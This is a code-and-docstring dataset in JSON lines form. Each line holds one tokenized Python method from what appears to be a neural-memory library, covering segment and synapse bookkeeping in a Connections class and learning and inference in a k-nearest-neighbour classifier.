{"signature": "def createSegment(self, cell):", "body": "cellData = self._cells[cell]<EOL>if len(self._freeFlatIdxs) > <NUM_LIT:0>:<EOL><INDENT>flatIdx = self._freeFlatIdxs.pop()<EOL><DEDENT>else:<EOL><INDENT>flatIdx = self._nextFlatIdx<EOL>self._segmentForFlatIdx.append(None)<EOL>self._nextFlatIdx += <NUM_LIT:1><EOL><DEDENT>ordinal = self._nextSegmentOrdinal<EOL>self._nextSegmentOrdinal += <NUM_LIT:1><EOL>segment = Segment(cell, flatIdx, ordinal)<EOL>cellData._segments.append(segment)<EOL>self._segmentForFlatIdx[flatIdx] = segment<EOL>return segment<EOL>", "docstring": "Adds a new segment on a cell.\n\n:param cell: (int) Cell index\n:returns: (int) New segment index", "id": "f17567:c3:m9"}
{"signature": "def destroySegment(self, segment):", "body": "<EOL>for synapse in segment._synapses:<EOL><INDENT>self._removeSynapseFromPresynapticMap(synapse)<EOL><DEDENT>self._numSynapses -= len(segment._synapses)<EOL>segments = self._cells[segment.cell]._segments<EOL>i = segments.index(segment)<EOL>del segments[i]<EOL>self._freeFlatIdxs.append(segment.flatIdx)<EOL>self._segmentForFlatIdx[segment.flatIdx] = None<EOL>", "docstring": "Destroys a segment.\n\n:param segment: (:class:`Segment`) representing the segment to be destroyed.", "id": "f17567:c3:m10"}
{"signature": "def createSynapse(self, segment, presynapticCell, permanence):", "body": "idx = len(segment._synapses)<EOL>synapse = Synapse(segment, presynapticCell, permanence,<EOL>self._nextSynapseOrdinal)<EOL>self._nextSynapseOrdinal += <NUM_LIT:1><EOL>segment._synapses.add(synapse)<EOL>self._synapsesForPresynapticCell[presynapticCell].add(synapse)<EOL>self._numSynapses += <NUM_LIT:1><EOL>return synapse<EOL>", "docstring": "Creates a new synapse on a segment.\n\n:param segment: (:class:`Segment`) Segment object for synapse to be synapsed \n       to.\n:param presynapticCell: (int) Source cell index.\n:param permanence: (float) Initial permanence of synapse.\n:returns: (:class:`Synapse`) created synapse", "id": "f17567:c3:m11"}
{"signature": "def destroySynapse(self, synapse):", "body": "self._numSynapses -= <NUM_LIT:1><EOL>self._removeSynapseFromPresynapticMap(synapse)<EOL>synapse.segment._synapses.remove(synapse)<EOL>", "docstring": "Destroys a synapse.\n\n:param synapse: (:class:`Synapse`) synapse to destroy", "id": "f17567:c3:m13"}
{"signature": "def updateSynapsePermanence(self, synapse, permanence):", "body": "synapse.permanence = permanence<EOL>", "docstring": "Updates the permanence for a synapse.\n\n:param synapse: (class:`Synapse`) to be updated.\n:param permanence: (float) New permanence.", "id": "f17567:c3:m14"}
{"signature": "def computeActivity(self, activePresynapticCells, connectedPermanence):", "body": "numActiveConnectedSynapsesForSegment = [<NUM_LIT:0>] * self._nextFlatIdx<EOL>numActivePotentialSynapsesForSegment = [<NUM_LIT:0>] * self._nextFlatIdx<EOL>threshold = connectedPermanence - EPSILON<EOL>for cell in activePresynapticCells:<EOL><INDENT>for synapse in self._synapsesForPresynapticCell[cell]:<EOL><INDENT>flatIdx = synapse.segment.flatIdx<EOL>numActivePotentialSynapsesForSegment[flatIdx] += <NUM_LIT:1><EOL>if synapse.permanence > threshold:<EOL><INDENT>numActiveConnectedSynapsesForSegment[flatIdx] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return (numActiveConnectedSynapsesForSegment,<EOL>numActivePotentialSynapsesForSegment)<EOL>", "docstring": "Compute each segment's number of active synapses for a given input.\nIn the returned lists, a segment's active synapse count is stored at index\n``segment.flatIdx``.\n\n:param activePresynapticCells: (iter) Active cells.\n:param connectedPermanence: (float) Permanence threshold for a synapse to be \n       considered connected\n\n:returns: (tuple) (``numActiveConnectedSynapsesForSegment`` [list],\n                  ``numActivePotentialSynapsesForSegment`` [list])", "id": "f17567:c3:m15"}
{"signature": "def numSegments(self, cell=None):", "body": "if cell is not None:<EOL><INDENT>return len(self._cells[cell]._segments)<EOL><DEDENT>return self._nextFlatIdx - len(self._freeFlatIdxs)<EOL>", "docstring": "Returns the number of segments.\n\n:param cell: (int) Optional parameter to get the number of segments on a \n       cell.\n:returns: (int) Number of segments on all cells if cell is not specified, or \n          on a specific specified cell", "id": "f17567:c3:m16"}
{"signature": "def numSynapses(self, segment=None):", "body": "if segment is not None:<EOL><INDENT>return len(segment._synapses)<EOL><DEDENT>return self._numSynapses<EOL>", "docstring": "Returns the number of Synapses.\n\n:param segment: (:class:`Segment`) Optional parameter to get the number of \n       synapses on a segment.\n\n:returns: (int) Number of synapses on all segments if segment is not \n          specified, or on a specified segment.", "id": "f17567:c3:m17"}
{"signature": "def segmentPositionSortKey(self, segment):", "body": "return segment.cell + (segment._ordinal / float(self._nextSegmentOrdinal))<EOL>", "docstring": "Return a numeric key for sorting this segment. This can be used with the \npython built-in ``sorted()`` function.\n\n:param segment: (:class:`Segment`) within this :class:`Connections` \n       instance.\n:returns: (float) A numeric key for sorting.", "id": "f17567:c3:m18"}
{"signature": "def write(self, proto):", "body": "protoCells = proto.init('<STR_LIT>', self.numCells)<EOL>for i in xrange(self.numCells):<EOL><INDENT>segments = self._cells[i]._segments<EOL>protoSegments = protoCells[i].init('<STR_LIT>', len(segments))<EOL>for j, segment in enumerate(segments):<EOL><INDENT>synapses = segment._synapses<EOL>protoSynapses = protoSegments[j].init('<STR_LIT>', len(synapses))<EOL>for k, synapse in enumerate(sorted(synapses, key=lambda s: s._ordinal)):<EOL><INDENT>protoSynapses[k].presynapticCell = synapse.presynapticCell<EOL>protoSynapses[k].permanence = synapse.permanence<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Writes serialized data to proto object.\n\n:param proto: (DynamicStructBuilder) Proto object", "id": "f17567:c3:m19"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "<EOL>protoCells = proto.cells<EOL>connections = cls(len(protoCells))<EOL>for cellIdx, protoCell in enumerate(protoCells):<EOL><INDENT>protoCell = protoCells[cellIdx]<EOL>protoSegments = protoCell.segments<EOL>connections._cells[cellIdx] = CellData()<EOL>segments = connections._cells[cellIdx]._segments<EOL>for segmentIdx, protoSegment in enumerate(protoSegments):<EOL><INDENT>segment = Segment(cellIdx, connections._nextFlatIdx,<EOL>connections._nextSegmentOrdinal)<EOL>segments.append(segment)<EOL>connections._segmentForFlatIdx.append(segment)<EOL>connections._nextFlatIdx += <NUM_LIT:1><EOL>connections._nextSegmentOrdinal += <NUM_LIT:1><EOL>synapses = segment._synapses<EOL>protoSynapses = protoSegment.synapses<EOL>for synapseIdx, protoSynapse in enumerate(protoSynapses):<EOL><INDENT>presynapticCell = protoSynapse.presynapticCell<EOL>synapse = Synapse(segment, presynapticCell, protoSynapse.permanence,<EOL>ordinal=connections._nextSynapseOrdinal)<EOL>connections._nextSynapseOrdinal += <NUM_LIT:1><EOL>synapses.add(synapse)<EOL>connections._synapsesForPresynapticCell[presynapticCell].add(synapse)<EOL>connections._numSynapses += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return connections<EOL>", "docstring": "Reads deserialized data from proto object\n\n:param proto: (DynamicStructBuilder) Proto object\n\n:returns: (:class:`Connections`) instance", "id": "f17567:c3:m21"}
{"signature": "def __eq__(self, other):", "body": "<EOL>for i in xrange(self.numCells):<EOL><INDENT>segments = self._cells[i]._segments<EOL>otherSegments = other._cells[i]._segments<EOL>if len(segments) != len(otherSegments):<EOL><INDENT>return False<EOL><DEDENT>for j in xrange(len(segments)):<EOL><INDENT>segment = segments[j]<EOL>otherSegment = otherSegments[j]<EOL>synapses = segment._synapses<EOL>otherSynapses = otherSegment._synapses<EOL>if len(synapses) != len(otherSynapses):<EOL><INDENT>return False<EOL><DEDENT>for synapse in synapses:<EOL><INDENT>found = False<EOL>for candidate in otherSynapses:<EOL><INDENT>if synapse == candidate:<EOL><INDENT>found = True<EOL>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if (len(self._synapsesForPresynapticCell) !=<EOL>len(self._synapsesForPresynapticCell)):<EOL><INDENT>return False<EOL><DEDENT>for i in self._synapsesForPresynapticCell.keys():<EOL><INDENT>synapses = self._synapsesForPresynapticCell[i]<EOL>otherSynapses = other._synapsesForPresynapticCell[i]<EOL>if len(synapses) != len(otherSynapses):<EOL><INDENT>return False<EOL><DEDENT>for synapse in synapses:<EOL><INDENT>found = False<EOL>for candidate in otherSynapses:<EOL><INDENT>if synapse == candidate:<EOL><INDENT>found = True<EOL>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>if self._numSynapses != other._numSynapses:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Equality operator for Connections instances.\n        Checks if two instances are functionally identical\n\n        :param other: (:class:`Connections`) Connections instance to compare to", "id": "f17567:c3:m22"}
{"signature": "def __ne__(self, other):", "body": "return not self.__eq__(other)<EOL>", "docstring": "Non-equality operator for Connections instances.\nChecks if two instances are not functionally identical\n\n:param other: (:class:`Connections`) Connections instance to compare to", "id": "f17567:c3:m23"}
{"signature": "def _labeledInput(activeInputs, cellsPerCol=<NUM_LIT:32>):", "body": "if cellsPerCol == <NUM_LIT:0>:<EOL><INDENT>cellsPerCol = <NUM_LIT:1><EOL><DEDENT>cols = activeInputs.size / cellsPerCol<EOL>activeInputs = activeInputs.reshape(cols, cellsPerCol)<EOL>(cols, cellIdxs) = activeInputs.nonzero()<EOL>if len(cols) == <NUM_LIT:0>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>items = [\"<STR_LIT>\" % (len(cols))]<EOL>prevCol = -<NUM_LIT:1><EOL>for (col,cellIdx) in zip(cols, cellIdxs):<EOL><INDENT>if col != prevCol:<EOL><INDENT>if prevCol != -<NUM_LIT:1>:<EOL><INDENT>items.append(\"<STR_LIT>\")<EOL><DEDENT>items.append(\"<STR_LIT>\" % col)<EOL>prevCol = col<EOL><DEDENT>items.append(\"<STR_LIT>\" % cellIdx)<EOL><DEDENT>items.append(\"<STR_LIT:]>\")<EOL>return \"<STR_LIT:U+0020>\".join(items)<EOL>", "docstring": "Print the list of [column, cellIdx] indices for each of the active\n    cells in activeInputs.", "id": "f17568:m0"}
{"signature": "def clear(self):", "body": "self._Memory = None<EOL>self._numPatterns = <NUM_LIT:0><EOL>self._M = None<EOL>self._categoryList = []<EOL>self._partitionIdList = []<EOL>self._partitionIdMap = {}<EOL>self._finishedLearning = False<EOL>self._iterationIdx = -<NUM_LIT:1><EOL>if self.maxStoredPatterns > <NUM_LIT:0>:<EOL><INDENT>assert self.useSparseMemory, (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>self.fixedCapacity = True<EOL>self._categoryRecencyList = []<EOL><DEDENT>else:<EOL><INDENT>self.fixedCapacity = False<EOL><DEDENT>self._protoSizes = None<EOL>self._s = None<EOL>self._vt = None<EOL>self._nc = None<EOL>self._mean = None<EOL>self._specificIndexTraining = False<EOL>self._nextTrainingIndices = None<EOL>", "docstring": "Clears the state of the KNNClassifier.", "id": "f17568:c0:m1"}
{"signature": "def prototypeSetCategory(self, idToCategorize, newCategory):", "body": "if idToCategorize not in self._categoryRecencyList:<EOL><INDENT>return<EOL><DEDENT>recordIndex = self._categoryRecencyList.index(idToCategorize)<EOL>self._categoryList[recordIndex] = newCategory<EOL>", "docstring": "Allows ids to be assigned a category and subsequently enables users to use:\n\n  - :meth:`~.KNNClassifier.KNNClassifier.removeCategory`\n  - :meth:`~.KNNClassifier.KNNClassifier.closestTrainingPattern`\n  - :meth:`~.KNNClassifier.KNNClassifier.closestOtherTrainingPattern`", "id": "f17568:c0:m4"}
{"signature": "def removeIds(self, idsToRemove):", "body": "<EOL>rowsToRemove = [k for k, rowID in enumerate(self._categoryRecencyList)if rowID in idsToRemove]<EOL>self._removeRows(rowsToRemove)<EOL>", "docstring": "There are two caveats. First, this is a potentially slow operation. Second,\npattern indices will shift if patterns before them are removed.\n\n:param idsToRemove: A list of row indices to remove.", "id": "f17568:c0:m5"}
{"signature": "def removeCategory(self, categoryToRemove):", "body": "removedRows = <NUM_LIT:0><EOL>if self._Memory is None:<EOL><INDENT>return removedRows<EOL><DEDENT>catToRemove = float(categoryToRemove)<EOL>rowsToRemove = [k for k, catID in enumerate(self._categoryList)if catID == catToRemove]<EOL>self._removeRows(rowsToRemove)<EOL>assert catToRemove not in self._categoryList<EOL>", "docstring": "There are two caveats. First, this is a potentially slow operation. Second,\npattern indices will shift if patterns before them are removed.\n\n:param categoryToRemove: Category label to remove", "id": "f17568:c0:m6"}
{"signature": "def _removeRows(self, rowsToRemove):", "body": "<EOL>removalArray = numpy.array(rowsToRemove)<EOL>self._categoryList = numpy.delete(numpy.array(self._categoryList),<EOL>removalArray).tolist()<EOL>if self.fixedCapacity:<EOL><INDENT>self._categoryRecencyList = numpy.delete(<EOL>numpy.array(self._categoryRecencyList), removalArray).tolist()<EOL><DEDENT>for row in reversed(rowsToRemove):  <EOL><INDENT>self._partitionIdList.pop(row)<EOL><DEDENT>self._rebuildPartitionIdMap(self._partitionIdList)<EOL>if self.useSparseMemory:<EOL><INDENT>for rowIndex in rowsToRemove[::-<NUM_LIT:1>]:<EOL><INDENT>self._Memory.deleteRow(rowIndex)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._M = numpy.delete(self._M, removalArray, <NUM_LIT:0>)<EOL><DEDENT>numRemoved = len(rowsToRemove)<EOL>numRowsExpected = self._numPatterns - numRemoved<EOL>if self.useSparseMemory:<EOL><INDENT>if self._Memory is not None:<EOL><INDENT>assert self._Memory.nRows() == numRowsExpected<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert self._M.shape[<NUM_LIT:0>] == numRowsExpected<EOL><DEDENT>assert len(self._categoryList) == numRowsExpected<EOL>self._numPatterns -= numRemoved<EOL>return numRemoved<EOL>", "docstring": "A list of row indices to remove. There are two caveats. First, this is\na potentially slow operation. Second, pattern indices will shift if\npatterns before them are removed.", "id": "f17568:c0:m7"}
{"signature": "def doIteration(self):", "body": "self._iterationIdx += <NUM_LIT:1><EOL>", "docstring": "Utility method to increment the iteration index. Intended for models that\ndon't learn each timestep.", "id": "f17568:c0:m8"}
{"signature": "def learn(self, inputPattern, inputCategory, partitionId=None, isSparse=<NUM_LIT:0>,<EOL>rowID=None):", "body": "if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % g_debugPrefix)<EOL>print(\"<STR_LIT>\", int(inputCategory))<EOL>print(\"<STR_LIT>\", _labeledInput(inputPattern,<EOL>cellsPerCol=self.cellsPerCol))<EOL><DEDENT>if isSparse > <NUM_LIT:0>:<EOL><INDENT>assert all(inputPattern[i] <= inputPattern[i+<NUM_LIT:1>]<EOL>for i in range(len(inputPattern)-<NUM_LIT:1>)),\"<STR_LIT>\"<EOL>assert all(bit < isSparse for bit in inputPattern),(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if rowID is None:<EOL><INDENT>rowID = self._iterationIdx<EOL><DEDENT>if not self.useSparseMemory:<EOL><INDENT>assert self.cellsPerCol == <NUM_LIT:0>, \"<STR_LIT>\"<EOL>if isSparse > <NUM_LIT:0>:<EOL><INDENT>denseInput = numpy.zeros(isSparse)<EOL>denseInput[inputPattern] = <NUM_LIT:1.0><EOL>inputPattern = denseInput<EOL><DEDENT>if self._specificIndexTraining and not self._nextTrainingIndices:<EOL><INDENT>return self._numPatterns<EOL><DEDENT>if self._Memory is None:<EOL><INDENT>inputWidth = len(inputPattern)<EOL>self._Memory = numpy.zeros((<NUM_LIT:100>,inputWidth))<EOL>self._numPatterns = <NUM_LIT:0><EOL>self._M = self._Memory[:self._numPatterns]<EOL><DEDENT>addRow = True<EOL>if self._vt is not None:<EOL><INDENT>inputPattern = numpy.dot(self._vt, inputPattern - self._mean)<EOL><DEDENT>if self.distThreshold > <NUM_LIT:0>:<EOL><INDENT>dist = self._calcDistance(inputPattern)<EOL>minDist = dist.min()<EOL>addRow = (minDist >= self.distThreshold)<EOL><DEDENT>if addRow:<EOL><INDENT>self._protoSizes = None     <EOL>if self._numPatterns == self._Memory.shape[<NUM_LIT:0>]:<EOL><INDENT>self._doubleMemoryNumRows()<EOL><DEDENT>if not self._specificIndexTraining:<EOL><INDENT>self._Memory[self._numPatterns] = inputPattern<EOL>self._numPatterns += <NUM_LIT:1><EOL>self._categoryList.append(int(inputCategory))<EOL><DEDENT>else:<EOL><INDENT>vectorIndex = self._nextTrainingIndices.pop(<NUM_LIT:0>)<EOL>while vectorIndex >= self._Memory.shape[<NUM_LIT:0>]:<EOL><INDENT>self._doubleMemoryNumRows()<EOL><DEDENT>self._Memory[vectorIndex] = inputPattern<EOL>self._numPatterns = max(self._numPatterns, vectorIndex + <NUM_LIT:1>)<EOL>if vectorIndex >= len(self._categoryList):<EOL><INDENT>self._categoryList += [-<NUM_LIT:1>] * (vectorIndex -<EOL>len(self._categoryList) + <NUM_LIT:1>)<EOL><DEDENT>self._categoryList[vectorIndex] = int(inputCategory)<EOL><DEDENT>self._M = self._Memory[<NUM_LIT:0>:self._numPatterns]<EOL>self._addPartitionId(self._numPatterns-<NUM_LIT:1>, partitionId)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isSparse > <NUM_LIT:0> and (self._vt is not None or self.distThreshold > <NUM_LIT:0>or self.numSVDDims is not None or self.numSVDSamples > <NUM_LIT:0>or self.numWinners > <NUM_LIT:0>):<EOL><INDENT>denseInput = numpy.zeros(isSparse)<EOL>denseInput[inputPattern] = <NUM_LIT:1.0><EOL>inputPattern = denseInput<EOL>isSparse = <NUM_LIT:0><EOL><DEDENT>if isSparse > <NUM_LIT:0>:<EOL><INDENT>inputWidth = isSparse<EOL><DEDENT>else:<EOL><INDENT>inputWidth = len(inputPattern)<EOL><DEDENT>if self._Memory is None:<EOL><INDENT>self._Memory = NearestNeighbor(<NUM_LIT:0>, inputWidth)<EOL><DEDENT>if self._vt is not None:<EOL><INDENT>inputPattern = numpy.dot(self._vt, inputPattern - self._mean)<EOL><DEDENT>if isSparse == <NUM_LIT:0>:<EOL><INDENT>thresholdedInput = self._sparsifyVector(inputPattern, True)<EOL><DEDENT>addRow = True<EOL>if self.cellsPerCol >= <NUM_LIT:1>:<EOL><INDENT>burstingCols = thresholdedInput.reshape(-<NUM_LIT:1>,<EOL>self.cellsPerCol).min(axis=<NUM_LIT:1>).nonzero()[<NUM_LIT:0>]<EOL>for col in burstingCols:<EOL><INDENT>thresholdedInput[(col * self.cellsPerCol) + <NUM_LIT:1> :<EOL>(col * self.cellsPerCol) + self.cellsPerCol] = <NUM_LIT:0><EOL><DEDENT><DEDENT>if self._Memory.nRows() > <NUM_LIT:0>:<EOL><INDENT>dist = None<EOL>if self.replaceDuplicates:<EOL><INDENT>dist = self._calcDistance(thresholdedInput, distanceNorm=<NUM_LIT:1>)<EOL>if dist.min() == <NUM_LIT:0>:<EOL><INDENT>rowIdx = dist.argmin()<EOL>self._categoryList[rowIdx] = int(inputCategory)<EOL>if self.fixedCapacity:<EOL><INDENT>self._categoryRecencyList[rowIdx] = rowID<EOL><DEDENT>addRow = False<EOL><DEDENT><DEDENT>if self.distThreshold > <NUM_LIT:0>:<EOL><INDENT>if dist is None or self.distanceNorm != <NUM_LIT:1>:<EOL><INDENT>dist = self._calcDistance(thresholdedInput)<EOL><DEDENT>minDist = dist.min()<EOL>addRow = (minDist >= self.distThreshold)<EOL>if not addRow:<EOL><INDENT>if self.fixedCapacity:<EOL><INDENT>rowIdx = dist.argmin()<EOL>self._categoryRecencyList[rowIdx] = rowID<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if addRow and self.minSparsity > <NUM_LIT:0.0>:<EOL><INDENT>if isSparse==<NUM_LIT:0>:<EOL><INDENT>sparsity = ( float(len(thresholdedInput.nonzero()[<NUM_LIT:0>])) /<EOL>len(thresholdedInput) )<EOL><DEDENT>else:<EOL><INDENT>sparsity = float(len(inputPattern)) / isSparse<EOL><DEDENT>if sparsity < self.minSparsity:<EOL><INDENT>addRow = False<EOL><DEDENT><DEDENT>if addRow:<EOL><INDENT>self._protoSizes = None     <EOL>if isSparse == <NUM_LIT:0>:<EOL><INDENT>self._Memory.addRow(thresholdedInput)<EOL><DEDENT>else:<EOL><INDENT>self._Memory.addRowNZ(inputPattern, [<NUM_LIT:1>]*len(inputPattern))<EOL><DEDENT>self._numPatterns += <NUM_LIT:1><EOL>self._categoryList.append(int(inputCategory))<EOL>self._addPartitionId(self._numPatterns-<NUM_LIT:1>, partitionId)<EOL>if self.fixedCapacity:<EOL><INDENT>self._categoryRecencyList.append(rowID)<EOL>if self._numPatterns > self.maxStoredPatterns andself.maxStoredPatterns > <NUM_LIT:0>:<EOL><INDENT>leastRecentlyUsedPattern = numpy.argmin(self._categoryRecencyList)<EOL>self._Memory.deleteRow(leastRecentlyUsedPattern)<EOL>self._categoryList.pop(leastRecentlyUsedPattern)<EOL>self._categoryRecencyList.pop(leastRecentlyUsedPattern)<EOL>self._numPatterns -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.numSVDDims is not None and self.numSVDSamples > <NUM_LIT:0>and self._numPatterns == self.numSVDSamples:<EOL><INDENT>self.computeSVD()<EOL><DEDENT>return self._numPatterns<EOL>", "docstring": "Train the classifier to associate specified input pattern with a\nparticular category.\n\n:param inputPattern: (list) The pattern to be assigned a category. If\n    isSparse is 0, this should be a dense array (both ON and OFF bits\n    present). Otherwise, if isSparse > 0, this should be a list of the\n    indices of the non-zero bits in sorted order\n\n:param inputCategory: (int) The category to be associated to the training\n    pattern\n\n:param partitionId: (int) partitionID allows you to associate an id with each\n    input vector. It can be used to associate input patterns stored in the\n    classifier with an external id. This can be useful for debugging or\n    visualizing. Another use case is to ignore vectors with a specific id\n    during inference (see description of infer() for details). There can be\n    at most one partitionId per stored pattern (i.e. if two patterns are\n    within distThreshold, only the first partitionId will be stored). This\n    is an optional parameter.\n\n:param isSparse: (int) 0 if the input pattern is a dense representation.\n    When the input pattern is a list of non-zero indices, then isSparse\n    is the number of total bits (n). E.g. for the dense array\n    [0, 1, 1, 0, 0, 1], isSparse should be `0`. For the equivalent sparse\n    representation [1, 2, 5] (which specifies the indices of active bits),\n    isSparse should be `6`, which is the total number of bits in the input\n    space.\n\n:param rowID: (int) UNKNOWN\n\n:returns: The number of patterns currently stored in the classifier", "id": "f17568:c0:m9"}
{"signature": "def getOverlaps(self, inputPattern):", "body": "assert self.useSparseMemory, \"<STR_LIT>\"<EOL>overlaps = self._Memory.rightVecSumAtNZ(inputPattern)<EOL>return (overlaps, self._categoryList)<EOL>", "docstring": "Return the degree of overlap between an input pattern and each category\nstored in the classifier. The overlap is computed by computing:\n\n.. code-block:: python\n\n  logical_and(inputPattern != 0, trainingPattern != 0).sum()\n\n:param inputPattern: pattern to check overlap of\n\n:returns: (overlaps, categories) Two numpy arrays of the same length, where:\n\n            * overlaps: an integer overlap amount for each category\n            * categories: category index for each element of overlaps", "id": "f17568:c0:m10"}
{"signature": "def getDistances(self, inputPattern):", "body": "dist = self._getDistances(inputPattern)<EOL>return (dist, self._categoryList)<EOL>", "docstring": "Return the distances between the input pattern and all other\n        stored patterns.\n\n        :param inputPattern: pattern to check distance with\n\n        :returns: (distances, categories) numpy arrays of the same length.\n            - overlaps: an integer overlap amount for each category\n            - categories: category index for each element of distances", "id": "f17568:c0:m11"}
{"signature": "def infer(self, inputPattern, computeScores=True, overCategories=True,<EOL>partitionId=None):", "body": "<EOL>sparsity = <NUM_LIT:0.0><EOL>if self.minSparsity > <NUM_LIT:0.0>:<EOL><INDENT>sparsity = ( float(len(inputPattern.nonzero()[<NUM_LIT:0>])) /<EOL>len(inputPattern) )<EOL><DEDENT>if len(self._categoryList) == <NUM_LIT:0> or sparsity < self.minSparsity:<EOL><INDENT>winner = None<EOL>inferenceResult = numpy.zeros(<NUM_LIT:1>)<EOL>dist = numpy.ones(<NUM_LIT:1>)<EOL>categoryDist = numpy.ones(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>maxCategoryIdx = max(self._categoryList)<EOL>inferenceResult = numpy.zeros(maxCategoryIdx+<NUM_LIT:1>)<EOL>dist = self._getDistances(inputPattern, partitionId=partitionId)<EOL>validVectorCount = len(self._categoryList) - self._categoryList.count(-<NUM_LIT:1>)<EOL>if self.exact:<EOL><INDENT>exactMatches = numpy.where(dist<<NUM_LIT>)[<NUM_LIT:0>]<EOL>if len(exactMatches) > <NUM_LIT:0>:<EOL><INDENT>for i in exactMatches[:min(self.k, validVectorCount)]:<EOL><INDENT>inferenceResult[self._categoryList[i]] += <NUM_LIT:1.0><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>sorted = dist.argsort()<EOL>for j in sorted[:min(self.k, validVectorCount)]:<EOL><INDENT>inferenceResult[self._categoryList[j]] += <NUM_LIT:1.0><EOL><DEDENT><DEDENT>if inferenceResult.any():<EOL><INDENT>winner = inferenceResult.argmax()<EOL>inferenceResult /= inferenceResult.sum()<EOL><DEDENT>else:<EOL><INDENT>winner = None<EOL><DEDENT>categoryDist = min_score_per_category(maxCategoryIdx,<EOL>self._categoryList, dist)<EOL>categoryDist.clip(<NUM_LIT:0>, <NUM_LIT:1.0>, categoryDist)<EOL><DEDENT>if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % (g_debugPrefix))<EOL>print(\"<STR_LIT>\",  _labeledInput(inputPattern,<EOL>cellsPerCol=self.cellsPerCol))<EOL>print(\"<STR_LIT>\", winner)<EOL>print(\"<STR_LIT>\", inferenceResult)<EOL>print(\"<STR_LIT>\", dist)<EOL>print(\"<STR_LIT>\", categoryDist)<EOL><DEDENT>result = (winner, inferenceResult, dist, categoryDist)<EOL>return result<EOL>", "docstring": "Finds the category that best matches the input pattern. Returns the\n        winning category index as well as a distribution over all categories.\n\n        :param inputPattern: (list or array) The pattern to be classified. This\n            must be a dense representation of the array (e.g. [0, 0, 1, 1, 0, 1]).\n\n        :param computeScores: NO EFFECT\n\n        :param overCategories: NO EFFECT\n\n        :param partitionId: (int) If provided, all training vectors with partitionId\n            equal to that of the input pattern are ignored.\n            For example, this may be used to perform k-fold cross validation\n            without repopulating the classifier. First partition all the data into\n            k equal partitions numbered 0, 1, 2, ... and then call learn() for each\n            vector passing in its partitionId. Then, during inference, by passing\n            in the partition ID in the call to infer(), all other vectors with the\n            same partitionId are ignored simulating the effect of repopulating the\n            classifier while ommitting the training vectors in the same partition.\n\n        :returns: 4-tuple with these keys:\n\n          - ``winner``: The category with the greatest number of nearest neighbors\n              within the kth nearest neighbors. If the inferenceResult contains no\n              neighbors, the value of winner is None. This can happen, for example,\n              in cases of exact matching, if there are no stored vectors, or if\n              minSparsity is not met.\n          - ``inferenceResult``: A list of length numCategories, each entry contains\n              the number of neighbors within the top k neighbors that are in that\n              category.\n          - ``dist``: A list of length numPrototypes. Each entry is the distance\n              from the unknown to that prototype. All distances are between 0.0 and\n              1.0.\n          - ``categoryDist``: A list of length numCategories. Each entry is the\n                            distance from the unknown to the nearest prototype of\n                            that category. All distances are between 0 and 1.0.", "id": "f17568:c0:m12"}
{"signature": "def getClosest(self, inputPattern, topKCategories=<NUM_LIT:3>):", "body": "inferenceResult = numpy.zeros(max(self._categoryList)+<NUM_LIT:1>)<EOL>dist = self._getDistances(inputPattern)<EOL>sorted = dist.argsort()<EOL>validVectorCount = len(self._categoryList) - self._categoryList.count(-<NUM_LIT:1>)<EOL>for j in sorted[:min(self.k, validVectorCount)]:<EOL><INDENT>inferenceResult[self._categoryList[j]] += <NUM_LIT:1.0><EOL><DEDENT>winner = inferenceResult.argmax()<EOL>topNCats = []<EOL>for i in range(topKCategories):<EOL><INDENT>topNCats.append((self._categoryList[sorted[i]], dist[sorted[i]] ))<EOL><DEDENT>return winner, dist, topNCats<EOL>", "docstring": "Returns the index of the pattern that is closest to inputPattern,\n        the distances of all patterns to inputPattern, and the indices of the k\n        closest categories.", "id": "f17568:c0:m13"}
{"signature": "def closestTrainingPattern(self, inputPattern, cat):", "body": "dist = self._getDistances(inputPattern)<EOL>sorted = dist.argsort()<EOL>for patIdx in sorted:<EOL><INDENT>patternCat = self._categoryList[patIdx]<EOL>if patternCat == cat:<EOL><INDENT>if self.useSparseMemory:<EOL><INDENT>closestPattern = self._Memory.getRow(int(patIdx))<EOL><DEDENT>else:<EOL><INDENT>closestPattern = self._M[patIdx]<EOL><DEDENT>return closestPattern<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the closest training pattern to inputPattern that belongs to\n        category \"cat\".\n\n        :param inputPattern: The pattern whose closest neighbor is sought\n\n        :param cat: The required category of closest neighbor\n\n        :returns: A dense version of the closest training pattern, or None if no\n            such patterns exist", "id": "f17568:c0:m14"}
{"signature": "def closestOtherTrainingPattern(self, inputPattern, cat):", "body": "dist = self._getDistances(inputPattern)<EOL>sorted = dist.argsort()<EOL>for patIdx in sorted:<EOL><INDENT>patternCat = self._categoryList[patIdx]<EOL>if patternCat != cat:<EOL><INDENT>if self.useSparseMemory:<EOL><INDENT>closestPattern = self._Memory.getRow(int(patIdx))<EOL><DEDENT>else:<EOL><INDENT>closestPattern = self._M[patIdx]<EOL><DEDENT>return closestPattern<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the closest training pattern that is *not* of the given\n        category \"cat\".\n\n        :param inputPattern: The pattern whose closest neighbor is sought\n\n        :param cat: Training patterns of this category will be ignored no matter\n            their distance to inputPattern\n\n        :returns: A dense version of the closest training pattern, or None if no\n            such patterns exist", "id": "f17568:c0:m15"}
